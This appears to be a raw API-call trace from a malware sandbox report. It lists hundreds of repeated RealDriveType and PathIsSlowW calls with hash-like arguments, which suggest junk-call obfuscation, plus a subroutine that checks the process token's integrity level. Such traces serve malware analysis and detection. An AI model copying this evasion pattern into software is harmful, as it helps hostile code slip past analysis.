RealDriveType.SHELL32(F0AAF599,00000000), ref: 00409C0B
RealDriveType.SHELL32(F06BC0CC,00000000), ref: 00409C13
RealDriveType.SHELL32(B5840799,00000000), ref: 00409C1B
RealDriveType.SHELL32(F19338CE,00000000), ref: 00409C23
RealDriveType.SHELL32(D320D737,00000000), ref: 00409C2B
RealDriveType.SHELL32(0E1DC9C2,00000000), ref: 00409C33
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409C37
RealDriveType.SHELL32(1FD6019F,00000000), ref: 00409C3F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409C43
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409C47
RealDriveType.SHELL32(ECF91F59,00000000), ref: 00409C4F
RealDriveType.SHELL32(20E8C5A2,00000000), ref: 00409C57
RealDriveType.SHELL32(4C8F798E,00000000), ref: 00409C5F
RealDriveType.SHELL32(DD701E40,00000000), ref: 00409C67
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409C6B
RealDriveType.SHELL32(2E52A95A,00000000), ref: 00409C73
RealDriveType.SHELL32(9FEEF30E,00000000), ref: 00409C7B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409C7F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409C83
RealDriveType.SHELL32(ECE1D5D3,00000000), ref: 00409C8B
RealDriveType.SHELL32(D903CD90,00000000), ref: 00409C93
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409C97
RealDriveType.SHELL32(D072FE25,00000000), ref: 00409C9F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409CA3
RealDriveType.SHELL32(74B8BD29,00000000), ref: 00409CAB
RealDriveType.SHELL32(360E2BF6,00000000), ref: 00409CB3
RealDriveType.SHELL32(6C4FD05E,00000000), ref: 00409CBB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409CBF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409CC3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409CC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409CCB
RealDriveType.SHELL32(5A033F73,00000000), ref: 00409CD3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409CD7
RealDriveType.SHELL32(06D15F8A,00000000), ref: 00409CDF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409CE3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409CE7
RealDriveType.SHELL32(25C63ECF,00000000), ref: 00409CEF
RealDriveType.SHELL32(B023EB72,00000000), ref: 00409CF7
RealDriveType.SHELL32(8686D203,00000000), ref: 00409CFF
RealDriveType.SHELL32(8A828819,00000000), ref: 00409D07
RealDriveType.SHELL32(2EA81740,00000000), ref: 00409D0F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D13
RealDriveType.SHELL32(2A116420,00000000), ref: 00409D1B
RealDriveType.SHELL32(BF89CF24,00000000), ref: 00409D23
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D27
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D2B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D2F
RealDriveType.SHELL32(B72C227B,00000000), ref: 00409D37
RealDriveType.SHELL32(05732B6F,00000000), ref: 00409D3F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D43
RealDriveType.SHELL32(BFAC8518,00000000), ref: 00409D4B
RealDriveType.SHELL32(36A26059,00000000), ref: 00409D53
RealDriveType.SHELL32(D86902F2,00000000), ref: 00409D5B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D5F
RealDriveType.SHELL32(DA1B18D9,00000000), ref: 00409D67
RealDriveType.SHELL32(0840DABD,00000000), ref: 00409D6F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D73
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D77
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D7B
RealDriveType.SHELL32(31F5DFD8,00000000), ref: 00409D83
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D87
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409D8B
RealDriveType.SHELL32(34F7A45A,00000000), ref: 00409D93
RealDriveType.SHELL32(F6E58440,00000000), ref: 00409D9B
RealDriveType.SHELL32(4A80F0A8,00000000), ref: 00409DA3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DA7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DAB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DAF
RealDriveType.SHELL32(81937CC9,00000000), ref: 00409DB7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DBB
RealDriveType.SHELL32(D68ED492,00000000), ref: 00409DC3
RealDriveType.SHELL32(4B119E97,00000000), ref: 00409DCB
RealDriveType.SHELL32(690D0AF9,00000000), ref: 00409DD3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DD7
RealDriveType.SHELL32(D9E83DCE,00000000), ref: 00409DDF
RealDriveType.SHELL32(9F33F560,00000000), ref: 00409DE7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DEB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DEF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DF3
RealDriveType.SHELL32(9A3B370D,00000000), ref: 00409DFB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409DFF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E03
RealDriveType.SHELL32(912BB054,00000000), ref: 00409E0B
RealDriveType.SHELL32(AAAD1494,00000000), ref: 00409E13
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E17
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E1B
RealDriveType.SHELL32(1F944ECA,00000000), ref: 00409E23
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E27
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E2B
RealDriveType.SHELL32(81A5C4AC,00000000), ref: 00409E33
RealDriveType.SHELL32(E2C67558,00000000), ref: 00409E3B
RealDriveType.SHELL32(0A82F1FC,00000000), ref: 00409E43
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E47
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E4B
RealDriveType.SHELL32(14CB83BA,00000000), ref: 00409E53
RealDriveType.SHELL32(25F78E84,00000000), ref: 00409E5B
RealDriveType.SHELL32(BAC7743D,00000000), ref: 00409E63
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E67
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E6B
RealDriveType.SHELL32(9650F182,00000000), ref: 00409E73
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E77
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E7B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E7F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E83
RealDriveType.SHELL32(EFEFC2EA,00000000), ref: 00409E8B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409E8F
RealDriveType.SHELL32(2DC1CAA2,00000000), ref: 00409E97
RealDriveType.SHELL32(9058472C,00000000), ref: 00409E9F
RealDriveType.SHELL32(0D326833,00000000), ref: 00409EA7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EAB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EAF
RealDriveType.SHELL32(33BC9EBB,00000000), ref: 00409EB7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EBB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EBF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EC3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409ECB
RealDriveType.SHELL32(CEAAD186,00000000), ref: 00409ED3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409ED7
RealDriveType.SHELL32(87C7DB55,00000000), ref: 00409EDF
RealDriveType.SHELL32(BB126BB5,00000000), ref: 00409EE7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EEB
RealDriveType.SHELL32(167BC1E0,00000000), ref: 00409EF3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EF7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409EFB
RealDriveType.SHELL32(20E7CAB7,00000000), ref: 00409F03
RealDriveType.SHELL32(1F3DC96E,00000000), ref: 00409F0B
RealDriveType.SHELL32(40D1EDCE,00000000), ref: 00409F13
RealDriveType.SHELL32(F25DFEB0,00000000), ref: 00409F1B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F1F

Part of subcall function 0041A6A3: RealDriveType.SHELL32(7A7F0824,00000000), ref: 0041A6B6
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6C0
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6C6
Part of subcall function 0041A6A3: RealDriveType.SHELL32(CDF102A7,00000000), ref: 0041A6CF
Part of subcall function 0041A6A3: RealDriveType.SHELL32(2E27FAE8,00000000), ref: 0041A6D8
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6DE
Part of subcall function 0041A6A3: RealDriveType.SHELL32(C5D8D0FC,00000000), ref: 0041A6E7
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6ED
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6F3
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6F9
Part of subcall function 0041A6A3: RealDriveType.SHELL32(D56F96D9,00000000), ref: 0041A702
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A708
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A70E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A714
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A71A
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A720
Part of subcall function 0041A6A3: RealDriveType.SHELL32(E8EAE2BB,00000000), ref: 0041A729
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A72F
Part of subcall function 0041A6A3: RealDriveType.SHELL32(2E9A5212,00000000), ref: 0041A738
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A73E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A744
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A74A
Part of subcall function 0041A6A3: RealDriveType.SHELL32(85C0647B,00000000), ref: 0041A753
Part of subcall function 0041A6A3: RealDriveType.SHELL32(D7A1C836,00000000), ref: 0041A75C
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A762
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A768
Part of subcall function 0041A6A3: RealDriveType.SHELL32(DDF4774B,00000000), ref: 0041A771
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A777
Part of subcall function 0041A6A3: RealDriveType.SHELL32(EDDD8A7A,00000000), ref: 0041A780
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A786
Part of subcall function 0041A6A3: RealDriveType.SHELL32(DB06937F,00000000), ref: 0041A78F

PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F30
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F34
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F38
RealDriveType.SHELL32(25701C4C,00000000), ref: 00409F40
RealDriveType.SHELL32(045CDFE7,00000000), ref: 00409F48
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F4C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F50
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F54
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F58
RealDriveType.SHELL32(F06CCB7C,00000000), ref: 00409F60
RealDriveType.SHELL32(EDFB0618,00000000), ref: 00409F68
RealDriveType.SHELL32(99FD520A,00000000), ref: 00409F70
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F74
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F78
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F7C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F80
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F84
RealDriveType.SHELL32(84E49EA7,00000000), ref: 00409F8C
RealDriveType.SHELL32(F03FEAC0,00000000), ref: 00409F94
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F98
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409F9C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409FA0
RealDriveType.SHELL32(380A78B7,00000000), ref: 00409FA8
RealDriveType.SHELL32(0E1FA690,00000000), ref: 00409FB0
RealDriveType.SHELL32(D65F5ADE,00000000), ref: 00409FB8
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409FBC
RealDriveType.SHELL32(3EF732FB,00000000), ref: 00409FC4
RealDriveType.SHELL32(CE0E2F84,00000000), ref: 00409FCC
RealDriveType.SHELL32(D559E8AC,00000000), ref: 00409FD4
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409FD8
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409FDC
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409FE0
RealDriveType.SHELL32(B4C38276,00000000), ref: 00409FE8
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409FEC
RealDriveType.SHELL32(86F1C19F,00000000), ref: 00409FF4
RealDriveType.SHELL32(DF7355C6,00000000), ref: 00409FFC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A005
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A009
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A00D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A011
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A015
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A019
RealDriveType.SHELL32(74EA9EA7,00000000), ref: 0040A021
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A025
RealDriveType.SHELL32(5051BA57,00000000), ref: 0040A02D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A031
RealDriveType.SHELL32(3720DCAC,00000000), ref: 0040A039
RealDriveType.SHELL32(48D14407,00000000), ref: 0040A041
RealDriveType.SHELL32(7F86B73A,00000000), ref: 0040A049
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A04D
RealDriveType.SHELL32(01243634,00000000), ref: 0040A055
RealDriveType.SHELL32(92F8D3E9,00000000), ref: 0040A05D
RealDriveType.SHELL32(C777BF2F,00000000), ref: 0040A065
RealDriveType.SHELL32(A0FBF40F,00000000), ref: 0040A06D
RealDriveType.SHELL32(0CC91C30,00000000), ref: 0040A075
RealDriveType.SHELL32(17F90C18,00000000), ref: 0040A07D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A081
RealDriveType.SHELL32(EAB7A11A,00000000), ref: 0040A089
RealDriveType.SHELL32(2E4261E2,00000000), ref: 0040A091
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A095
RealDriveType.SHELL32(4DEC303E,00000000), ref: 0040A09D
RealDriveType.SHELL32(EB535E6A,00000000), ref: 0040A0A5
RealDriveType.SHELL32(C43E1F52,00000000), ref: 0040A0AD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A0B1
RealDriveType.SHELL32(02655A18,00000000), ref: 0040A0B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A0BD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A0C1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A0C5
RealDriveType.SHELL32(AC7B3964,00000000), ref: 0040A0CD
RealDriveType.SHELL32(436D05B7,00000000), ref: 0040A0D5
RealDriveType.SHELL32(3BD08077,00000000), ref: 0040A0DD
RealDriveType.SHELL32(7E0451AE,00000000), ref: 0040A0E5

Part of subcall function 00417028: GetCurrentProcess.KERNEL32(00000008,?,755911B0,755BFDB0), ref: 0041703A
Part of subcall function 00417028: OpenProcessToken.ADVAPI32(00000000), ref: 00417041
Part of subcall function 00417028: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 0041705B
Part of subcall function 00417028: GetLastError.KERNEL32 ref: 00417065
Part of subcall function 00417028: GlobalAlloc.KERNEL32(00000040,00000000), ref: 00417075
Part of subcall function 00417028: GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 00417089
Part of subcall function 00417028: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 0041709D
Part of subcall function 00417028: lstrcmpiW.KERNEL32(00000000), ref: 004170B0
Part of subcall function 00417028: GlobalFree.KERNEL32(00000000), ref: 004170BD

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A0F9
RealDriveType.SHELL32(D0883665,00000000), ref: 0040A102
RealDriveType.SHELL32(3318FD1E,00000000), ref: 0040A10B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A111
RealDriveType.SHELL32(9FA79450,00000000), ref: 0040A11A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A120
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A126
RealDriveType.SHELL32(7FAEE624,00000000), ref: 0040A130
RealDriveType.SHELL32(6AE663C5,00000000), ref: 0040A138
RealDriveType.SHELL32(3D21615F,00000000), ref: 0040A140
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A144
RealDriveType.SHELL32(34F8A65A,00000000), ref: 0040A14C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A150
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A154
RealDriveType.SHELL32(E1F44EEF,00000000), ref: 0040A15C
RealDriveType.SHELL32(0775CFD7,00000000), ref: 0040A164
RealDriveType.SHELL32(EA83FD09,00000000), ref: 0040A16C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A170
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A174
RealDriveType.SHELL32(42EC03D9,00000000), ref: 0040A17C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A180
RealDriveType.SHELL32(9E4F8E60,00000000), ref: 0040A188
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A18C
RealDriveType.SHELL32(43E8C60E,00000000), ref: 0040A194
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A198
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A19C
RealDriveType.SHELL32(524817A7,00000000), ref: 0040A1A4
RealDriveType.SHELL32(BCC3F822,00000000), ref: 0040A1AC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A1B0
RealDriveType.SHELL32(60DF09BB,00000000), ref: 0040A1B8
RealDriveType.SHELL32(97F46BFA,00000000), ref: 0040A1C0
RealDriveType.SHELL32(9444612B,00000000), ref: 0040A1C8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A1CC

Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 00417165
Part of subcall function 0041714F: RealDriveType.SHELL32(8D6A1CCF,00000000), ref: 00417173
Part of subcall function 0041714F: RealDriveType.SHELL32(2573297A,00000000), ref: 0041717B
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041717F
Part of subcall function 0041714F: RealDriveType.SHELL32(27F8BF3F,00000000), ref: 00417187
Part of subcall function 0041714F: RealDriveType.SHELL32(58B398DE,00000000), ref: 0041718F
Part of subcall function 0041714F: RealDriveType.SHELL32(F6B40AE1,00000000), ref: 00417197
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041719B
Part of subcall function 0041714F: RealDriveType.SHELL32(792BB767,00000000), ref: 004171A3
Part of subcall function 0041714F: RealDriveType.SHELL32(44299019,00000000), ref: 004171AB
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 004171AF
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 004171B3
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 004171B7
Part of subcall function 0041714F: RealDriveType.SHELL32(E497778A,00000000), ref: 004171BF
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 004171C3
Part of subcall function 0041714F: RealDriveType.SHELL32(11C8750A,00000000), ref: 004171CB
Part of subcall function 0041714F: RealDriveType.SHELL32(159C47FB,00000000), ref: 004171D3
Part of subcall function 0041714F: RealDriveType.SHELL32(81911F69,00000000), ref: 004171DB
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 004171DF
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 004171E3
Part of subcall function 0041714F: RealDriveType.SHELL32(3F30652F,00000000), ref: 004171EB
Part of subcall function 0041714F: RealDriveType.SHELL32(8CC4A3D0,00000000), ref: 004171F3
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 004171F7
Part of subcall function 0041714F: RealDriveType.SHELL32(AAEC9424,00000000), ref: 004171FF
Part of subcall function 0041714F: RealDriveType.SHELL32(EEED10D9,00000000), ref: 00417207
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041720B
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041720F
Part of subcall function 0041714F: PathIsSlowW.SHELL32(00000000,00000000), ref: 00417213
Part of subcall function 0041714F: RealDriveType.SHELL32(D01B7FCF,00000000), ref: 0041721B
Part of subcall function 0041714F: RealDriveType.SHELL32(2D70939B,00000000), ref: 00417223

RealDriveType.SHELL32(CEE69075,00000000), ref: 0040A1D4
RealDriveType.SHELL32(28208EC0,00000000), ref: 0040A1DC
RealDriveType.SHELL32(0E861B5B,00000000), ref: 0040A1E4

Part of subcall function 00415F73: RealDriveType.SHELL32(EF691B89,00000000), ref: 00415F8D
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415F97
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415F9B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415F9F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415FA3
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415FA7
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415FAB
Part of subcall function 00415F73: RealDriveType.SHELL32(04704DB6,00000000), ref: 00415FB3
Part of subcall function 00415F73: RealDriveType.SHELL32(52F9ABC7,00000000), ref: 00415FBB
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415FBF
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415FC3
Part of subcall function 00415F73: RealDriveType.SHELL32(115A04A4,00000000), ref: 00415FCB
Part of subcall function 00415F73: RealDriveType.SHELL32(BB6B91B1,00000000), ref: 00415FD3
Part of subcall function 00415F73: RealDriveType.SHELL32(7603FD7E,00000000), ref: 00415FDB
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415FDF
Part of subcall function 00415F73: RealDriveType.SHELL32(E53F203D,00000000), ref: 00415FE7
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415FEB
Part of subcall function 00415F73: RealDriveType.SHELL32(E88E5214,00000000), ref: 00415FF3
Part of subcall function 00415F73: RealDriveType.SHELL32(18DCAD09,00000000), ref: 00415FFB
Part of subcall function 00415F73: RealDriveType.SHELL32(FEF54C3B,00000000), ref: 00416003
Part of subcall function 00415F73: RealDriveType.SHELL32(CF3A28F5,00000000), ref: 0041600B
Part of subcall function 00415F73: RealDriveType.SHELL32(96F67B89,00000000), ref: 00416013
Part of subcall function 00415F73: RealDriveType.SHELL32(6742FEEC,00000000), ref: 0041601B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041601F
Part of subcall function 00415F73: RealDriveType.SHELL32(6F04D4B9,00000000), ref: 00416027
Part of subcall function 00415F73: RealDriveType.SHELL32(C95EB83D,00000000), ref: 0041602F
Part of subcall function 00415F73: RealDriveType.SHELL32(8FFA879B,00000000), ref: 00416037
Part of subcall function 00415F73: RealDriveType.SHELL32(1E291A4C,00000000), ref: 0041603F
Part of subcall function 00415F73: RealDriveType.SHELL32(6FCD3728,00000000), ref: 00416047
Part of subcall function 00415F73: RealDriveType.SHELL32(36AAD46A,00000000), ref: 0041604F

RealDriveType.SHELL32(9F075EC0,00000000), ref: 0040A201
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A205
RealDriveType.SHELL32(59CBBC30,00000000), ref: 0040A20D
RealDriveType.SHELL32(C84FACA6,00000000), ref: 0040A215
RealDriveType.SHELL32(EEB190F8,00000000), ref: 0040A21D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A221
RealDriveType.SHELL32(6AD74B57,00000000), ref: 0040A229
RealDriveType.SHELL32(6AE4EDA6,00000000), ref: 0040A231
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A235
RealDriveType.SHELL32(8BD473E6,00000000), ref: 0040A23D
RealDriveType.SHELL32(23186299,00000000), ref: 0040A245
RealDriveType.SHELL32(5F81F073,00000000), ref: 0040A24D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A251
RealDriveType.SHELL32(07F2FBC3,00000000), ref: 0040A259
RealDriveType.SHELL32(2185F673,00000000), ref: 0040A261
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A265
RealDriveType.SHELL32(6A9F6D4F,00000000), ref: 0040A26D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A271
RealDriveType.SHELL32(B19B7328,00000000), ref: 0040A279
RealDriveType.SHELL32(4CF4FBAE,00000000), ref: 0040A281
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A285
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A289
RealDriveType.SHELL32(135440F9,00000000), ref: 0040A291
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A295
RealDriveType.SHELL32(6DCFC271,00000000), ref: 0040A29D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A2A1
RealDriveType.SHELL32(ED8500BF,00000000), ref: 0040A2A9
RealDriveType.SHELL32(8E908077,00000000), ref: 0040A2B1
RealDriveType.SHELL32(29E1B5AA,00000000), ref: 0040A2B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A2BD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A2C1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A2C5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A2C9
RealDriveType.SHELL32(46826900,00000000), ref: 0040A2D1
RealDriveType.SHELL32(9156C838,00000000), ref: 0040A2D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A2DD

Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416053
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416057
Part of subcall function 00415F73: RealDriveType.SHELL32(155A0214,00000000), ref: 0041605F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416063
Part of subcall function 00415F73: RealDriveType.SHELL32(C14AE237,00000000), ref: 0041606B
Part of subcall function 00415F73: RealDriveType.SHELL32(42679C9F,00000000), ref: 00416073
Part of subcall function 00415F73: RealDriveType.SHELL32(78CBA235,00000000), ref: 0041607B
Part of subcall function 00415F73: RealDriveType.SHELL32(18A4E55F,00000000), ref: 00416083
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416087
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041608B
Part of subcall function 00415F73: RealDriveType.SHELL32(C10DF0A7,00000000), ref: 00416093
Part of subcall function 00415F73: RealDriveType.SHELL32(15084F2F,00000000), ref: 0041609B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041609F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160A3
Part of subcall function 00415F73: RealDriveType.SHELL32(43EAF28B,00000000), ref: 004160AB
Part of subcall function 00415F73: RealDriveType.SHELL32(87A682F1,00000000), ref: 004160B3
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160B7
Part of subcall function 00415F73: RealDriveType.SHELL32(B2C8C038,00000000), ref: 004160BF
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160C3
Part of subcall function 00415F73: RealDriveType.SHELL32(692BD4F6,00000000), ref: 004160CB
Part of subcall function 00415F73: RealDriveType.SHELL32(B3418A9D,00000000), ref: 004160D3
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160D7
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160DB
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160DF
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160E3
Part of subcall function 00415F73: RealDriveType.SHELL32(57C07620,00000000), ref: 004160EB
Part of subcall function 00415F73: RealDriveType.SHELL32(C89D6507,00000000), ref: 004160F3
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160F7
